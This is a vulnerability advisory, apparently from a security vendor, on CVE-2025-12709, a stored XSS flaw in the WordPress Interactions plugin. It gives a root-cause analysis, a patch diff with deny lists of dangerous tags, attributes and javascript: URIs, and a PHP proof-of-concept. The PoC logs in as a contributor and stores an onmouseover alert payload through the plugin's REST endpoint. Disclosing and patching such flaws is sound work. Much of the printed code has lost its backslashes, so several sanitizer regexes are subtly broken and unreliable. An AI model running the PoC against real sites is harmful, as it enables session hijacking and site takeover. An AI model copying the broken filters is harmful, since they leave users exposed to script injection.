Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12709: Interactions – Create Interactive Experiences in the Block Editor <= 1.3.1 – Authenticated (Contributor+) Stored Cross-Site Scripting (interactions)

Plugin interactions
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.1
Patched Version 1.3.2
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12709:
The Interactions WordPress plugin (versions <= 1.3.1) contains an authenticated stored cross-site scripting (XSS) vulnerability. The plugin's event selector functionality lacks proper input sanitization and output escaping. This allows attackers with Contributor-level or higher permissions to inject arbitrary JavaScript into pages. The injected scripts execute when a user views the compromised page, leading to a stored XSS attack with a CVSS score of 6.4.

Atomic Edge research identifies the root cause as insufficient input validation in the plugin's action type handling system. The vulnerability exists in the `secure_interaction_data` method within `/interactions/src/class-interaction.php`. This method processes user-supplied interaction data before saving it to the database. Prior to version 1.3.2, the method only performed integrity verification for actions where `verify_integrity` was true. It did not apply systematic sanitization to action values. The `updateAttribute` action type (in `/interactions/src/action-types/class-action-type-update-attribute.php`) was particularly vulnerable because it allowed users to set arbitrary HTML attributes and values without proper validation.

An authenticated attacker with Contributor privileges can exploit this vulnerability by creating or editing a post containing an Interactions block. The attacker injects malicious JavaScript payloads into event selector parameters. The payload is stored in the post content as serialized interaction data. When a victim views the compromised post, the plugin renders the malicious interaction, executing the attacker's JavaScript in the victim's browser context. The attack vector targets the WordPress REST API endpoint used by the plugin's editor interface to save interaction data.

The patch in version 1.3.2 implements comprehensive input sanitization across all action types. The `Abstract_Action_Type` class (in `/interactions/src/action-types/abstract-action-type.php`) now includes a `sanitize_data_for_saving` method that child classes override. Each specific action type class implements custom sanitization for its parameters. The `sanitize_style_value` method removes dangerous CSS constructs like `expression()` and `javascript:` URIs. The `validate_html_for_saving` method detects dangerous HTML tags and attributes. The `Interact_Interaction::secure_interaction_data` method now calls these sanitization methods before saving any interaction data.

Successful exploitation allows attackers to perform actions within the victim's WordPress session. This includes creating administrative accounts, modifying posts, injecting backdoors, stealing session cookies, and redirecting users to malicious sites. The stored nature means the payload executes for every visitor to the compromised page. While Contributor privileges are required, this access level is commonly granted to untrusted users in multi-author WordPress sites.

Differential between vulnerable and patched code

Code Diff
--- a/interactions/dist/editor.asset.php
+++ b/interactions/dist/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => 'ef6ecaa8f5a7a808aeef');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => '194856cd4acf728b1a09');
--- a/interactions/dist/frontend.asset.php
+++ b/interactions/dist/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '6b242d784da97c260317');
+<?php return array('dependencies' => array(), 'version' => 'f33389cbb6ef2dfc5fee');
--- a/interactions/dist/frontend/actions/cssRule.php
+++ b/interactions/dist/frontend/actions/cssRule.php
@@ -10,7 +10,7 @@

 ob_start();
 ?>
-InteractRunner.addActionConfig({cssRule:{initAction:e=>{var t=e.getValue("property"),i=()=>e.getValue("value",e.getValue("property"));if(CSS.supports(t,i())||CSS.supports(t,i()+"px"))return e.initActionAnimation({[t]:i,onBegin:e=>e.refresh()})},initialStyles:e=>`${e.getValue("property")}: ${e.getValue("value")};`}});
+InteractRunner.addActionConfig({cssRule:{initAction:e=>{var t=e.getValue("property"),i=e.getValue("value",e.getValue("property"));if(CSS.supports(t,i)||CSS.supports(t,i+"px"))return e.initActionAnimation({[t]:i,onBegin:e=>e.refresh()})},initialStyles:e=>`${e.getValue("property")}: ${e.getValue("value")};`}});
 <?php
 return ob_get_clean();

 No newline at end of file
--- a/interactions/interactions.php
+++ b/interactions/interactions.php
@@ -7,7 +7,7 @@
  * Author URI: http://gambit.ph
  * License: GPLv2 or later
  * Text Domain: interactions
- * Version: 1.3.1
+ * Version: 1.3.2
  *
  * @fs_premium_only /freemius.php, /freemius/
  */
@@ -18,7 +18,7 @@
 }

 defined( 'INTERACT_BUILD' ) || define( 'INTERACT_BUILD', 'free' );
-defined( 'INTERACT_VERSION' ) || define( 'INTERACT_VERSION', '1.3.1' );
+defined( 'INTERACT_VERSION' ) || define( 'INTERACT_VERSION', '1.3.2' );
 defined( 'INTERACT_FILE' ) || define( 'INTERACT_FILE', __FILE__ );

 /**
--- a/interactions/src/action-types/abstract-action-type.php
+++ b/interactions/src/action-types/abstract-action-type.php
@@ -256,5 +256,155 @@

 			return $action;
 		}
+
+		/**
+		 * Sanitizes the action's value before saving.
+		 *
+		 * Override this in a child class to implement specific sanitization.
+		 *
+		 * @param mixed $value The action value to sanitize.
+		 * @return mixed The sanitized action value.
+		 */
+		public function sanitize_data_for_saving( $value ) {
+			// By default, no sanitization is applied.
+			return $value;
+		}
+
+		/**
+		 * Remove any `expression(...)` and `javascript:` content from a CSS style string for security.
+		 *
+		 * @param string $string
+		 * @return string
+		 */
+		public function sanitize_style_value( $string ) {
+			if ( ! is_string( $string ) ) {
+				return $string;
+			}
+			// Remove all expression(...) (case-insensitive).
+			$string = preg_replace( '/expressions*((?:[^()]|(?R))*)/i', '', $string );
+
+			// Remove all javascript: URIs (case-insensitive).
+			$string = preg_replace( '/javascripts*:/i', '', $string );
+
+			return $string;
+		}
+
+		/**
+		 * Detect if an HTML tag is considered dangerous (can execute scripts or
+		 * otherwise modify page behavior).
+		 *
+		 * @param string $tag_name
+		 * @return bool
+		 */
+		public function is_dangerous_tag( $tag_name ) {
+			if ( empty( $tag_name ) || ! is_string( $tag_name ) ) {
+				return false;
+			}
+
+			$tag_name = strtolower( trim( $tag_name ) );
+
+			// Tags that can execute scripts or modify page behavior
+			$dangerous_tags = [
+				'script',
+				'iframe',
+				'object',
+				'embed',
+				'applet',
+				'meta',
+				'link',
+				'style',
+				'base',
+				'form',
+			];
+
+			return in_array( $tag_name, $dangerous_tags, true );
+		}
+
+		/**
+		 * Detect if an HTML attribute is considered dangerous (event handlers,
+		 * attributes that can contain JS URIs, form actions, etc.).
+		 *
+		 * @param string $attribute_name
+		 * @return bool
+		 */
+		public function is_dangerous_attribute( $attribute_name ) {
+			if ( empty( $attribute_name ) || ! is_string( $attribute_name ) ) {
+				return false;
+			}
+
+			$attribute_name = strtolower( trim( $attribute_name ) );
+
+			// Event handler attributes (onclick, onerror, onload, etc.)
+			if ( preg_match( '/^on[a-z]+/', $attribute_name ) ) {
+				return true;
+			}
+
+			// Attributes that can contain JavaScript URIs or code
+			$dangerous_attributes = [
+				'href',
+				'src',
+				'action',
+				'formaction',
+				'form',
+				'formmethod',
+				'formtarget',
+			];
+
+			return in_array( $attribute_name, $dangerous_attributes, true );
+		}
+
+		/**
+		 * Validate an HTML snippet for dangerous tags, attributes or protocols.
+		 * Returns true when safe, or a WP_Error describing the violation.
+		 *
+		 * @param string $html
+		 * @return true|WP_Error
+		 */
+		public function validate_html_for_saving( $html ) {
+			if ( ! is_string( $html ) ) {
+				return new WP_Error(
+					'invalid_html',
+					__( 'HTML must be a string.', 'interactions' )
+				);
+			}
+
+			// Detect dangerous tags
+			if ( preg_match_all( '/<s*([a-z0-9-]+)/i', $html, $matches ) ) {
+				foreach ( $matches[1] as $tag ) {
+					if ( $this->is_dangerous_tag( $tag ) ) {
+						return new WP_Error(
+							'invalid_tag',
+							sprintf( __( 'The HTML tag "%s" is not allowed.', 'interactions' ), esc_html( $tag ) )
+						);
+					}
+				}
+			}
+
+			// Detect dangerous attributes
+			if ( preg_match_all( '/<[^>]+>/i', $html, $tagMatches ) ) {
+				foreach ( $tagMatches[0] as $tagString ) {
+					if ( preg_match_all( '/([a-zA-Z0-9:-]+)s*=s*(?:"[^"]*"|'[^']*'|[^s>]+)/i', $tagString, $attrMatches ) ) {
+						foreach ( $attrMatches[1] as $attr ) {
+							if ( $this->is_dangerous_attribute( $attr ) ) {
+								return new WP_Error(
+									'invalid_attribute',
+									sprintf( __( 'The HTML attribute "%s" is not allowed.', 'interactions' ), esc_html( $attr ) )
+								);
+							}
+						}
+					}
+				}
+			}
+
+			// Detect disallowed protocols
+			if ( preg_match( '/javascript:s*/i', $html ) || preg_match( '/data:s*text//i', $html ) ) {
+				return new WP_Error(
+					'invalid_protocol',
+					__( 'The HTML contains disallowed protocols (javascript: or data:).', 'interactions' )
+				);
+			}
+
+			return true;
+		}
 	}
 }
--- a/interactions/src/action-types/class-action-type-background-color.php
+++ b/interactions/src/action-types/class-action-type-background-color.php
@@ -52,6 +52,13 @@

 		// 	return parent::initilize_action( $action, $animation_data );
 		// }
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['color'] ) ) {
+				$value['color'] = $this->sanitize_style_value( $value['color'] );
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'backgroundColor', 'Interact_Action_Type_Background_Color' );
--- a/interactions/src/action-types/class-action-type-background-image.php
+++ b/interactions/src/action-types/class-action-type-background-image.php
@@ -33,6 +33,13 @@

 			$this->has_dynamic = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['image'] ) ) {
+				$value['image'] = $this->sanitize_style_value( $value['image'] );
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'backgroundImage', 'Interact_Action_Type_Background_Image' );
--- a/interactions/src/action-types/class-action-type-css-rule.php
+++ b/interactions/src/action-types/class-action-type-css-rule.php
@@ -40,6 +40,13 @@
 				],
 			];
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['value'] ) ) {
+				$value['value'] = $this->sanitize_style_value( $value['value'] );
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'cssRule', 'Interact_Action_Type_Css_Rule' );
--- a/interactions/src/action-types/class-action-type-display.php
+++ b/interactions/src/action-types/class-action-type-display.php
@@ -55,6 +55,29 @@
 			$this->has_duration = false;
 			$this->has_easing = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['display'] ) ) {
+				$allowed_values = [
+					'block',
+					'none',
+					'inline',
+					'inline-block',
+					'flex',
+					'inline-flex',
+					'grid',
+					'inline-grid',
+					'initial',
+					'inherit',
+					'revert',
+					'unset',
+				];
+				if ( ! in_array( $value['display'], $allowed_values, true ) ) {
+					$value['display'] = 'block';
+				}
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'display', 'Interact_Action_Type_Display' );
--- a/interactions/src/action-types/class-action-type-move.php
+++ b/interactions/src/action-types/class-action-type-move.php
@@ -58,6 +58,21 @@

 			$this->has_dynamic = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			// Ensure x, y, z are sanitized as numeric (including negatives and decimals), otherwise set to null (but leave blank as is)
+			foreach ( [ 'x', 'y', 'z' ] as $key ) {
+				if ( isset( $value[ $key ] ) && $value[ $key ] !== '' ) {
+					// Allow negative/positive/decimal
+					if ( is_numeric( $value[ $key ] ) ) {
+						$value[ $key ] = $value[ $key ] + 0; // Cast to int or float
+					} else {
+						$value[ $key ] = null;
+					}
+				}
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'move', 'Interact_Action_Type_Move' );
--- a/interactions/src/action-types/class-action-type-opacity.php
+++ b/interactions/src/action-types/class-action-type-opacity.php
@@ -36,6 +36,17 @@

 			$this->has_dynamic = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['opacity'] ) ) {
+				if ( is_numeric( $value['opacity'] ) ) {
+					$value['opacity'] = $value['opacity'] + 0;
+				} else {
+					$value['opacity'] = null;
+				}
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'opacity', 'Interact_Action_Type_Opacity' );
--- a/interactions/src/action-types/class-action-type-redirect-to-url.php
+++ b/interactions/src/action-types/class-action-type-redirect-to-url.php
@@ -37,6 +37,17 @@
 			$this->has_easing = false;
 			$this->has_preview = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['url'] ) ) {
+				if ( is_string( $value['url'] ) ) {
+					$value['url'] = esc_url( $value['url'] );
+				} else {
+					$value['url'] = null;
+				}
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'redirectToUrl', 'Interact_Action_Type_Redirect_To_Url' );
--- a/interactions/src/action-types/class-action-type-rotate.php
+++ b/interactions/src/action-types/class-action-type-rotate.php
@@ -47,7 +47,7 @@
 						[ 'label' => __( 'Bottom Right', 'interactions' ), 'value' => 'bottom right' ],
 						[ 'label' => __( 'Custom', 'interactions' ), 'value' => 'custom' ],
 					],
-					'default' => 'block',
+					'default' => 'center',
 				],
 				'customTransformOrigin' => [
 					'name' => __( 'Custom Transform Origin', 'interactions' ),
@@ -63,6 +63,39 @@

 			$this->has_dynamic = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['rotate'] ) ) {
+				if ( is_numeric( $value['rotate'] ) ) {
+					$value['rotate'] = $value['rotate'] + 0;
+				} else {
+					$value['rotate'] = null;
+				}
+			}
+
+			if ( is_array( $value ) && isset( $value['transformOrigin'] ) ) {
+				$allowed_transform_origins = [
+					'center',
+					'top',
+					'right',
+					'bottom',
+					'left',
+					'top left',
+					'top right',
+					'bottom left',
+					'bottom right',
+					'custom',
+				];
+				if ( ! in_array( $value['transformOrigin'], $allowed_transform_origins, true ) ) {
+					$value['transformOrigin'] = 'center';
+				}
+			}
+
+			if ( isset( $value['customTransformOrigin'] ) ) {
+				$value['customTransformOrigin'] = $this->sanitize_style_value( $value['customTransformOrigin'] );
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'rotate', 'Interact_Action_Type_Rotate' );
--- a/interactions/src/action-types/class-action-type-scale.php
+++ b/interactions/src/action-types/class-action-type-scale.php
@@ -46,6 +46,24 @@

 			$this->has_dynamic = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['x'] ) ) {
+				if ( is_numeric( $value['x'] ) ) {
+					$value['x'] = $value['x'] + 0;
+				} else {
+					$value['x'] = null;
+				}
+			}
+			if ( is_array( $value ) && isset( $value['y'] ) ) {
+				if ( is_numeric( $value['y'] ) ) {
+					$value['y'] = $value['y'] + 0;
+				} else {
+					$value['y'] = null;
+				}
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'scale', 'Interact_Action_Type_Scale' );
--- a/interactions/src/action-types/class-action-type-skew.php
+++ b/interactions/src/action-types/class-action-type-skew.php
@@ -46,6 +46,24 @@

 			$this->has_dynamic = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['x'] ) ) {
+				if ( is_numeric( $value['x'] ) ) {
+					$value['x'] = $value['x'] + 0;
+				} else {
+					$value['x'] = null;
+				}
+			}
+			if ( is_array( $value ) && isset( $value['y'] ) ) {
+				if ( is_numeric( $value['y'] ) ) {
+					$value['y'] = $value['y'] + 0;
+				} else {
+					$value['y'] = null;
+				}
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'skew', 'Interact_Action_Type_Skew' );
--- a/interactions/src/action-types/class-action-type-text-color.php
+++ b/interactions/src/action-types/class-action-type-text-color.php
@@ -34,6 +34,13 @@

 			$this->has_dynamic = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['color'] ) ) {
+				$value['color'] = $this->sanitize_style_value( $value['color'] );
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'textColor', 'Interact_Action_Type_Text_Color' );
--- a/interactions/src/action-types/class-action-type-toggle-class.php
+++ b/interactions/src/action-types/class-action-type-toggle-class.php
@@ -35,14 +35,14 @@
 					'name' => 'Action',
 					'type' => 'select',
 					'default' => 'add',
-				'options' => [
-					// Translators: %s is the word 'class'.
-					[ 'value' => 'add', 'label' => sprintf( __( 'Add %s', 'interactions' ), __( 'class', 'interactions' ) ) ],
-					// Translators: %s is the word 'class'.
-					[ 'value' => 'remove', 'label' => sprintf( __( 'Remove %s', 'interactions' ), __( 'class', 'interactions' ) ) ],
-					// Translators: %s is the word 'class'.
-					[ 'value' => 'toggle', 'label' => sprintf( __( 'Toggle %s', 'interactions' ), __( 'class', 'interactions' ) ) ],
-				]
+					'options' => [
+						// Translators: %s is the word 'class'.
+						[ 'value' => 'add', 'label' => sprintf( __( 'Add %s', 'interactions' ), __( 'class', 'interactions' ) ) ],
+						// Translators: %s is the word 'class'.
+						[ 'value' => 'remove', 'label' => sprintf( __( 'Remove %s', 'interactions' ), __( 'class', 'interactions' ) ) ],
+						// Translators: %s is the word 'class'.
+						[ 'value' => 'toggle', 'label' => sprintf( __( 'Toggle %s', 'interactions' ), __( 'class', 'interactions' ) ) ],
+					]
 				],
 			];

@@ -50,6 +50,21 @@
 			$this->has_duration = false;
 			$this->has_easing = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['class'] ) ) {
+				$value['class'] = sanitize_html_class( $value['class'] );
+			}
+
+			if ( is_array( $value ) && isset( $value['action'] ) ) {
+				$allowed_actions = [ 'add', 'remove', 'toggle' ];
+				if ( ! in_array( $value['action'], $allowed_actions, true ) ) {
+					$value['action'] = 'add';
+				}
+			}
+
+			return $value;
+		}
 	}

 	interact_add_action_type( 'toggleClass', 'Interact_Action_Type_Toggle_Class' );
--- a/interactions/src/action-types/class-action-type-toggle-video.php
+++ b/interactions/src/action-types/class-action-type-toggle-video.php
@@ -54,6 +54,23 @@
 			$this->has_duration = false;
 			$this->has_easing = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['mode'] ) ) {
+				$allowed_modes = [ 'play', 'pause', 'toggle' ];
+				if ( ! in_array( $value['mode'], $allowed_modes, true ) ) {
+					$value['mode'] = 'play';
+				}
+			}
+			if ( is_array( $value ) && isset( $value['startTime'] ) ) {
+				if ( is_numeric( $value['startTime'] ) ) {
+					$value['startTime'] = $value['startTime'] + 0;
+				} else {
+					$value['startTime'] = null;
+				}
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'toggleVideo', 'Interact_Action_Type_Toggle_Video' );
--- a/interactions/src/action-types/class-action-type-update-attribute.php
+++ b/interactions/src/action-types/class-action-type-update-attribute.php
@@ -30,6 +30,7 @@
 					'name' => 'Attribute name',
 					'type' => 'text',
 					'default' => '',
+					'restrictedNotice' => __( 'Some attribute names and values are disallowed unless you are an administrator with unfiltered_html capability for security reasons.', 'interactions' ),
 				],
 				'value' => [
 					'name' => 'Value',
@@ -57,6 +58,79 @@
 			$this->has_duration = false;
 			$this->has_easing = false;
 		}
+
+		public function is_dangerous_attribute( $attribute_name ) {
+			if ( empty( $attribute_name ) || ! is_string( $attribute_name ) ) {
+				return false;
+			}
+
+			$attribute_name = strtolower( trim( $attribute_name ) );
+
+			// Event handler attributes (onclick, onerror, onload, etc.)
+			if ( preg_match( '/^on[a-z]+/', $attribute_name ) ) {
+				return true;
+			}
+
+			// Attributes that can contain JavaScript URIs or code
+			$dangerous_attributes = [
+				'href',
+				'src',
+				'action',
+				'formaction',
+				// 'style', // Can contain CSS with expression() or javascript: URIs
+				'form',
+				'formmethod',
+				'formtarget',
+			];
+
+			return in_array( $attribute_name, $dangerous_attributes, true );
+		}
+
+		public function sanitize_data_for_saving( $value ) {
+			// Sanitize action value: ensure $value is an array and attribute/value are strings.
+			if ( ! is_array( $value ) ) {
+				return new WP_Error(
+					'invalid_structure',
+					__( 'Value must be an array containing attribute and value keys.', 'interactions' )
+				);
+			}
+
+			// Sanitize attribute name
+			if ( isset( $value['attribute'] ) && is_string( $value['attribute'] ) ) {
+				$value['attribute'] = sanitize_key( $value['attribute'] );
+			}
+
+			// Sanitize value if present, and convert to string.
+			if ( isset( $value['value'] ) ) {
+				$value['value'] = $this->sanitize_style_value( $value['value'] );
+			}
+
+			// Sanitize action field for select option.
+			if ( isset( $value['action'] ) ) {
+				$allowed_actions = [ 'update', 'remove', 'toggle' ];
+				if ( ! in_array( $value['action'], $allowed_actions, true ) ) {
+					$value['action'] = 'update';
+				}
+			}
+
+			if ( current_user_can( 'unfiltered_html' ) ) {
+				return $value;
+			}
+
+			if ( ! empty( $value['attribute'] ) && $this->is_dangerous_attribute( $value['attribute'] ) ) {
+				// Only allow dangerous attributes if user has unfiltered_html capability
+				return new WP_Error(
+					'invalid_attribute',
+					sprintf(
+						// Translators: %s is the attribute name.
+						__( 'The attribute "%s" requires administrator privileges with unfiltered_html capability to prevent security vulnerabilities.', 'interactions' ),
+						esc_html( $value['attribute'] )
+					)
+				);
+			}
+
+			return $value;
+		}
 	}

 	interact_add_action_type( 'updateAttribute', 'Interact_Action_Type_Update_Attribute' );
--- a/interactions/src/action-types/class-action-type-visibility.php
+++ b/interactions/src/action-types/class-action-type-visibility.php
@@ -40,6 +40,16 @@
 			$this->has_easing = false;
 			$this->has_dynamic = false;
 		}
+
+		public function sanitize_data_for_saving( $value ) {
+			if ( is_array( $value ) && isset( $value['visibility'] ) ) {
+				$allowed_visibilities = [ 'toggle', 'hide', 'show' ];
+				if ( ! in_array( $value['visibility'], $allowed_visibilities, true ) ) {
+					$value['visibility'] = 'toggle';
+				}
+			}
+			return $value;
+		}
 	}

 	interact_add_action_type( 'visibility', 'Interact_Action_Type_Visibility' );
--- a/interactions/src/class-interaction.php
+++ b/interactions/src/class-interaction.php
@@ -59,13 +59,18 @@
 		 * @return int|WP_Error
 		 */
 		public static function update( $interaction_data ) {
+			$sanitized_data = self::secure_interaction_data( $interaction_data );
+			if ( is_wp_error( $sanitized_data ) ) {
+				return $sanitized_data;
+			}
+
 			$post_arr = [
 				'ID' => self::get_post_id_from_key( $interaction_data['key'] ),
 				'post_type' => 'interact-interaction',
 				'post_name' => $interaction_data['key'],
 				'post_title' => $interaction_data['title'],
 				// TODO: emojis do not work somehow.
-				'post_content' => wp_slash( maybe_serialize( self::secure_interaction_data( $interaction_data ) ) ),
+				'post_content' => wp_slash( maybe_serialize( $sanitized_data ) ),
 				'post_status' => $interaction_data['active'] ? 'publish' : 'interact-inactive',
 			];
 			$result = $post_arr['ID'] === 0 ? wp_insert_post( $post_arr ) : wp_update_post( $post_arr );
@@ -79,6 +84,30 @@
 		}

 		/**
+		 * Sanitizes the interaction value
+		 *
+		 * @param mixed $value
+		 * @return mixed
+		 */
+		public static function sanitize_interaction_value( $value ) {
+			if ( current_user_can( 'unfiltered_html' ) ) {
+				return $value;
+			}
+
+			if ( is_array( $value ) ) {
+				foreach ( $value as $key => $val ) {
+					$value[ $key ] = self::sanitize_interaction_value( $val );
+				}
+			}
+
+			if ( is_string( $value ) ) {
+				$value = wp_kses_post( $value );
+			}
+
+			return $value;
+		}
+
+		/**
 		 * Runs through all interaction data, and if the action-type has a
 		 * $verify_integrity set to true, it will hash and sign the action's
 		 * values.
@@ -92,8 +121,19 @@
 					$action_type = $action['type'];

 					$action_config = interact_get_action_type( $action_type );
-					$action_value = $action['value'];

+					// Sanitize the action value for saving.
+					$action_value = self::sanitize_interaction_value( $action['value'] );
+					// Sanitize for specific action type.
+					$action_value = $action_config->sanitize_data_for_saving( $action_value );
+
+					// If the action value is a WP_Error, return the error.
+					if ( is_wp_error( $action_value ) ) {
+						return $action_value;
+					}
+
+					$interaction_data['timelines'][ $timeline_index ]['actions'][ $action_index ]['value'] = $action_value;
+
 					if ( $action_config->verify_integrity ) {
 						$signature = hash_hmac( 'sha256', wp_json_encode( $action_value ), interact_salt() );

--- a/interactions/src/editor/editor.php
+++ b/interactions/src/editor/editor.php
@@ -76,6 +76,7 @@
 				'restUrl' => trailingslashit( esc_url_raw( rest_url() ) ), // We need to know how to access the REST API.
 				'restNonce' => wp_create_nonce( 'wp_rest' ), // This needs to be 'wp_rest' to use the built-in nonce verification.
 				'srcUrl' => untrailingslashit( plugins_url( '/', INTERACT_FILE ) ),
+				'currentUserCanUnfilteredHtml' => current_user_can( 'unfiltered_html' ),
 			) );
 			wp_localize_script( 'interact-editor', 'interactions', $args );
 		}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12709 - Interactions – Create Interactive Experiences in the Block Editor <= 1.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a new post to inject the XSS payload
$post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from the page (simplified - in reality would parse HTML)
// This is a conceptual PoC - actual implementation requires parsing the editor page
// to get the proper nonce and interaction structure

// Step 3: Craft malicious interaction data with XSS payload
// The payload uses the updateAttribute action to set an onmouseover attribute
$malicious_interaction = array(
    'key' => 'test_interaction_' . time(),
    'title' => 'Malicious Interaction',
    'active' => true,
    'timelines' => array(
        array(
            'actions' => array(
                array(
                    'type' => 'updateAttribute',
                    'value' => array(
                        'attribute' => 'onmouseover',
                        'value' => 'alert("XSS via CVE-2025-12709");',
                        'action' => 'update'
                    ),
                    'selector' => 'body',
                    'event' => 'click'
                )
            )
        )
    )
);

// Step 4: Save the interaction via REST API
// Note: Actual endpoint and nonce handling would be more complex
$rest_url = $target_url . '/wp-json/interact/v1/interaction';
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($malicious_interaction));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: [extracted_nonce]' // Would need actual nonce from page
));
$response = curl_exec($ch);

curl_close($ch);

echo "Check response for success. Visit the created post and move mouse over body to trigger XSS.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School